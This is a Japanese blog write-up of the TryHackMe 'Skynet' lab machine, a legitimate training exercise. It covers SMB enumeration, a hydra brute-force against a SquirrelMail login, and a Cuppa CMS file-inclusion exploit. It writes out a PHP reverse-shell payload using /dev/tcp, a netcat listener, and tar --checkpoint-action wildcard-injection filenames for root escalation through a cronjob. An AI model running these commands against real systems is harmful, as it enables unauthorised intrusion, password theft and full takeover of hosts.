abyssgazelog

セキュリティ関係のアレコレまとめ

Tryhackme Writeup Skynet

Skynet

 
 コメント

今回のターゲット

TryhackMeのSkynet というMachineを攻略していきます。

※どこかで見たような会社とキャラクターですね。。。w

まずはNmap!

nmap -T4 -A -Pn -v TargetIP

使用中のサービスで気になるのは”Samba”ですかね。

Enum4linuxでsamba環境を列挙

enum4linux -U -S TargetIP

-U get userlist
-S get sharelist

enum4linuxはWindowsとSambaシステムから情報を列挙するためのツールです。

列挙結果を見てみると、"Anonymous"というshareがあるようなのでsmbclientを使ってアクセスしてみます。

smbclient //10.10.154.152/anonymous


attention.txt中身:

log1.txt

なんかのパスワード??

gobusterで列挙

タスクによるとMaliパスワードを求められていますので、めぼしいパスがないか列挙します。

※Gobuster is a tool used to brute-force:

URIs (directories and files) in web sites.
DNS subdomains (with wildcard support).
gobuster dir -u http://targetIp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40

dir:ディレクトリ検索
-u:対象のURLを指定
-w:ワードリストを指定
-t:同時スレッド数を指定(デフォルト:10)

/sequirrelmailが怪しい!ってことでアクセスしてみると。。

login formに繋がりました!

hydraでbrute force

hydra -l milesdyson -P log1.txt targetIP http-form-post "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect."

パスワードが見つかりました。
これを使ってログインしてみましょう。

milesさんのメールの中身をあさってみます。
するとSambaのパスワード通知らしきタイトルが。

びんご!
milesさんのsambaパスワードを入手できましたのでこれで再度smbclientを使って、
milesdysonのshareに入ります。

smbclient //targetIP/milesdyson --user=milesdyson

なんかいっぱいありますが。。。
important.txt が怪しい??

Add features to beta CMS /45kra24zxs28v3yd
とありますので、このディレクトリにアクセスしてみます。

!!!
なんかでたw

もう一度gobuster!

上の情報だけだと何も分からないので、gobusterを再度かけてみます。
CMSってメモにもあったのでログインページがあるかもしれません。

CuppaというCMSを利用しているようです。

Searchsploitで検索

上記を試してみます。


※上記表示は一部のみ

exploitdbに記載あるとおりコマンドが実効されたのを確認できたので、これを使ってリバースシェルを張ります。

リバースシェル用のphpファイルを作成します。

<?php

exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/LocalIP/1234 0>&1'");

?>

pythonでwebサーバを立て、シェル用のファイルを流し込みます。

python -m SimpleHTTPServer 

上記と同時に、

nc -lvnp 1234

リバースシェルを待ち受けます。

URL入力窓に先ほどのコードを入力すると、シェルを獲得することができます。

特権昇格

ここまででUser.txtは獲得できますので、最後のRoot.txt獲得のため、特権昇格を目指します。(筆者はここで挫折してしまい、カンニングをしてしまいました。。さんぽしさんありがとうございます!(https://sanposhiho.com/posts/2020-05-06-qiita-35317a3c8b0677ee3713/))

今回の特権昇格には、cronjobを使います。

crontabを確認すると。。。


backupを行ってそうな.shファイルを確認できますね。

ワイルドカード * を使っています。
この場合下記リンクの情報によると、
https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/

–checkpoint=1や --checkpoint-action=exec=sh shell.sh などの名前のファイルを作成しておくと、特定のコマンドでのワイルドカードの使用時にオプションとして理解されてしまうとのことです。

shell.shを作成し、chmod 777 /root と書き込みましょう。
続いて、–checkpoint-action=exec=sh shell.shを作成しておきます。

あとはcronjobが実行されるのを待ちます。

cd /root
が実行できればroot.txtの中身を見ることができます。

まとめ

初WriteUpdeでしたがかなり勉強になりました。
何気なく使っているコマンドの意味、オプションの使い方を復讐できていいですね。
OSCPコースのマシンはwriteup書いてみようと思います。